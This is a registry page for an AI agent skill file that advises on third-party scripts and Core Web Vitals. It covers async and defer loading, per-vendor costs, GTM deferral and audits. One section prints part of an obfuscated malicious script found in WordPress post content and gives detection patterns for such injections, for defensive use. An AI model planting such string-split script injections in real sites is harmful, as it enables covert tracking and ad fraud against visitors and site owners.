third-party-scripts
Skill6 starsChanged 12 days agoMITView on GitHub
Third-party scripts and Core Web Vitals: loading strategies (async, defer, module), impact by vendor, GTM deferral, footprint audits, removing unused scripts and spotting scripts injected into post content. Use for INP, TBT or LCP caused by third-party JavaScript.
In this repository40 other files it gives its agents.
- accesibilidad-wcagSkill
- cache-headersSkill
- canonicalSkill
- ccpaSkill
- core-web-vitalsSkill
- ga4-ai-trafficSkill
- ga4-analysisSkill
- geo-ai-discoverabilitySkill
- google-tag-managerSkill
- hreflangSkill
- image-optimizationSkill
- javascript-seoSkill
- ley-25326Skill
- ley-datos-chileSkill
- lfpdpppSkill
- lgpdSkill
- mineria-de-impresionesSkill
- nfadpSkill
- on-page-fundamentalsSkill
- prestashop-seoSkill
- privacidadSkill
- redirectsSkill
- rgpdSkill
- robots-txtSkill
- schema-markupSkill
- screaming-frogSkill
- semrushSkill
- seo-educacionSkill
- seo-gsc-diagnosticsSkill
- seo-interlinkingSkill
- seo-negativoSkill
- seo-quoteSkill
- se-rankingSkill
- sitemapSkill
- ssl-httpsSkill
- uk-gdprSkill
- ux-heuristicaSkill
- wordpress-diviSkill
- wordpress-elementorSkill
- wordpress-hidden-errorsSkill
The file
We split this skill into the rules it gives an agent
10 rules. About 0 are common, 10 are distinctive, and 0 are very specific to this project.
≈0
Common · estimate
Many files like this have a rule of this kind.
≈10
Distinctive · estimate
This author's own choices. Worth a look.
0
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Distinctive: line 29
Use for: analytics, tracking, ads — scripts that do not depend on the DOM
- Distinctive: line 40
Use for: scripts that need DOM access but are not critical path
- Distinctive: line 71
Use for scripts tied to user interaction (chat widgets, video players, complex forms) that do not need to load on page start.
- Distinctive: line 104
Do not use both Clarity and Hotjar simultaneously — they do the same thing.
- Distinctive: line 158
If the map is below the fold, this is pure waste on initial load.
- Distinctive: line 231
Check "Last Edited" column for tags not touched in 6+ months
- Distinctive: line 232
Check firing frequency in Preview Mode — tags that never fire can be paused
- Distinctive: line 290
Verify with the client/team that the script is truly unused (check business requirements)
- Distinctive: line 291
Remove from GTM container or theme (do not just pause — paused tags still add container size)
- Distinctive: line 292
Test in GTM Preview that no events break
≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
Third-Party Scripts — Performance & SEO
Third-party scripts are the most common uncontrolled variable in CWV. They execute on the client's main thread, consume bandwidth, and can independently cause LCP, INP, and TBT failures.
Script loading strategies
async
<script async src="https://example.com/script.js"></script>- Downloads in parallel with HTML parsing
- Executes as soon as download completes (pauses HTML parsing)
- Order not guaranteed when multiple async scripts present
- Use for: analytics, tracking, ads — scripts that do not depend on the DOM
defer
<script defer src="https://example.com/script.js"></script>- Downloads in parallel with HTML parsing
- Executes after HTML parsing is complete, before
DOMContentLoaded - Order guaranteed (executes in order of appearance)
- Use for: scripts that need DOM access but are not critical path
Comparison
| async | defer | none (blocking) | |
| Download | Parallel | Parallel | Blocks parsing |
| Execute | On download complete | After HTML parsed | On encounter |
| Order | Not guaranteed | Guaranteed | Guaranteed |
| Blocks HTML parsing | Yes (during execution) | No | Yes |
| Best for | Analytics, ads | DOM-dependent non-critical | Critical scripts |
module
<script type="module" src="script.js"></script>Module scripts are deferred by default. They also support static imports and execute in strict mode. Use for modern ES modules.
Dynamic import (lazy loading)
// Load script only when needed
button.addEventListener('click', async () => {
const { initChat } = await import('./chat-widget.js');
initChat();
});Use for scripts tied to user interaction (chat widgets, video players, complex forms) that do not need to load on page start.
CWV impact by vendor category
Analytics (GA4, Matomo, Plausible)
| Vendor | Typical main thread cost | Notes |
| GA4 via gtag.js | 50-150ms | Lower than UA |
| GA4 via GTM | 80-200ms | GTM container overhead added |
| Matomo | 30-80ms | Self-hosted, no third-party DNS |
| Plausible | < 5ms | Lightweight by design |
Impact: Primarily TBT and INP. Rarely causes LCP directly. Fix: Load via GTM with DOM Ready or Window Loaded trigger instead of Page View for non-critical event tracking.
Advertising (Google Ads, Meta Pixel, MSCLK)
| Vendor | Main thread cost | Notes |
| Google Ads gtag | 100-300ms | Required for conversion tracking |
| Meta Pixel | 100-400ms | Loads multiple resources |
| Microsoft Clarity | 50-200ms | Session recording, high DOM mutation cost |
| Hotjar | 150-500ms | Session recording, mousemove tracking = high INP cost |
Impact: INP degradation is the primary risk. Hotjar and Clarity record mouse movements, which adds a persistent main thread cost on every user interaction.
Fix: Load via GTM. Configure triggers to fire after Window Loaded. Do not use both Clarity and Hotjar simultaneously — they do the same thing.
Chat widgets (Intercom, Drift, Tidio, Crisp)
Chat widgets are among the worst CWV offenders:
- Load 2-5 additional scripts from their own CDN
- Inject persistent DOM nodes that trigger style recalculation on scroll
- Often load immediately on Page View even if the user never opens the chat
Fix: Lazy-load chat widget after user interaction or after a delay:
// Load chat after 5 seconds of inactivity
setTimeout(function() {
window.Tidio && window.Tidio.init();
// or dynamically inject the script tag here
}, 5000);Or load only when the user scrolls to the chat widget area using Intersection Observer.
Fonts (Google Fonts, Adobe Fonts)
External font loading delays text rendering (LCP if text is the LCP element)
and causes FOUT (Flash of Unstyled Text) if font-display: swap is not set.
Google Fonts — preconnect:
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link rel="stylesheet" href="https://fonts.googleapis.com/css2?family=...&display=swap">Better fix — self-host fonts:
<style>
@font-face {
font-family: 'Open Sans';
src: url('/fonts/open-sans.woff2') format('woff2');
font-display: swap;
font-weight: 400;
font-style: normal;
}
</style>Self-hosted fonts eliminate the third-party DNS lookup and allow preloading:
<link rel="preload" as="font" href="/fonts/open-sans.woff2"
type="font/woff2" crossorigin>Maps (Google Maps, Mapbox)
Google Maps embeds load a large JS library (~300KB) plus map tiles. If the map is below the fold, this is pure waste on initial load.
Fix — facade pattern:
<!-- Show a static map image; load interactive map on click -->
<div id="map-placeholder" style="cursor:pointer">
<img src="/images/map-preview.jpg" alt="Location map" loading="lazy"
onclick="loadGoogleMaps()" width="600" height="400">
</div>
<script>
function loadGoogleMaps() {
const script = document.createElement('script');
script.src = 'https://maps.googleapis.com/maps/api/js?key=KEY&callback=initMap';
document.head.appendChild(script);
document.getElementById('map-placeholder').remove();
}
</script>Video embeds (YouTube, Vimeo)
Same pattern as maps: the YouTube player loads ~500KB of JS immediately.
Fix — YouTube lite embed (facade pattern):
<!-- lite-youtube-embed or youtube-nocookie.com -->
<lite-youtube videoid="VIDEO_ID"></lite-youtube>Or use youtube-nocookie.com embed and load iframe only on click.
Auditing the third-party footprint
Via Chrome DevTools
- Open page in incognito (eliminates browser extensions)
- DevTools > Network tab > reload
- Filter by domain: click "All" then sort by Domain column
- Third-party = any domain that is not the site's own domain
Look for:
- Scripts from unknown domains
- Large JS files from marketing vendors
- Multiple scripts from the same vendor (often misconfiguration)
Via Screaming Frog
SF > Reports > Source Code > Custom Search for src="https:// — exports
all external script URLs, which can be grouped by domain.
Via PageSpeed Insights
PSI > "Reduce the impact of third-party code" diagnostic. Shows: vendor, blocking time, and main thread usage per third-party.
Identifying unused scripts
- Chrome DevTools > Coverage tab (Ctrl+Shift+P > "Coverage")
- Reload the page
- Scripts with >70% unused bytes are candidates for removal or conditional loading
GTM-based deferral strategies
GTM is a double-edged tool: it makes it easy to add scripts, and easy to accumulate scripts that no one remembers adding.
GTM tag audit
- GTM container > Tags tab
- Check "Last Edited" column for tags not touched in 6+ months
- Check firing frequency in Preview Mode — tags that never fire can be paused
Common tag bloat:
- Old A/B testing scripts (Optimize is deprecated — remove)
- Duplicate GA4 tags (one configured via GTM, another via gtag snippet in theme)
- Pixel for a campaign that ended months ago
Deferral via trigger optimization
| Script type | Recommended trigger |
| GA4 page view | Initialization - All Pages |
| GA4 events | DOM Ready (for scroll, click) |
| Facebook Pixel | DOM Ready |
| Remarketing tags | Window Loaded |
| Chat widget | Custom timer (5000ms) or scroll depth |
| Heatmap tools | Window Loaded |
Scripts on "Window Loaded" execute after the page is visually complete → zero impact on LCP or FCP.
Tag sequencing in GTM
For scripts that must load in order (e.g., a custom dataLayer push before a GA4 event): GTM > Tag > Advanced Settings > Tag Sequencing > "Fire a tag before [tag name] fires"
This guarantees execution order without relying on trigger timing assumptions.
Scripts injected into post content
A third-party footprint audit usually inventories scripts in the theme, plugins and tag
manager. It misses scripts stored inside post_content, which only load on the affected
posts. Real pattern found on a WordPress site:
(function(){
q=document.createElement("script"); q_=("us")+("ta"); q_+="t"+("."); q_+=("in");
...
q.src="https://"+q_+qu; document.body.appendChild(q);
})();The domain is built in pieces so a plain text search for it finds nothing. It loads an external tracking or ad-fraud script on every visit to that post.
Detection: scan raw content (context=edit via REST, or the database) for <script>
blocks that are not JSON-LD and contain createElement, appendChild, eval(, atob(,
fromCharCode or document.write. Exclude the site's own widgets by context.
Fix: remove the whole <script> block, treat it as a security finding (how did it get
in: compromised account, plugin, copied content?) and search options and widgets for the
same pattern. See wordpress-hidden-errors (pattern C7).
Removing unused scripts
- Identify unused scripts via Coverage tab or GTM audit
- Verify with the client/team that the script is truly unused (check business requirements)
- Remove from GTM container or theme (do not just pause — paused tags still add container size)
- Test in GTM Preview that no events break
- Publish container
- Verify PSI improvement
Audit checklist
CRITICAL (direct CWV impact)
[ ] No render-blocking scripts in <head> without async or defer
[ ] LCP element not delayed by third-party script execution
[ ] No duplicate analytics tags (GTM + inline gtag.js simultaneously)
HIGH (INP and TBT)
[ ] Chat widget not loading on Page View (should load after interaction or delay)
[ ] Hotjar/Clarity not running simultaneously
[ ] Total third-party blocking time < 200ms (PSI "Reduce third-party code")
[ ] No scripts loading > 300KB uncompressed from third-party domains
MEDIUM (optimization)
[ ] GTM tag audit: no tags unused for 6+ months
[ ] Remarketing and ad tags on Window Loaded trigger (not Page View)
[ ] Google Fonts self-hosted or with preconnect + display=swap
[ ] Maps and video embeds use facade pattern (no immediate load)
[ ] PSI "Reduce the impact of third-party code": < 500ms total
LOW (maintenance)
[ ] GTM container size < 200KB (minified)
[ ] No deprecated scripts (Google Optimize, UA analytics)
[ ] Script inventory documented (what runs and why)
[ ] Coverage tab: no scripts with > 80% unused bytes on initial loadDoes it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

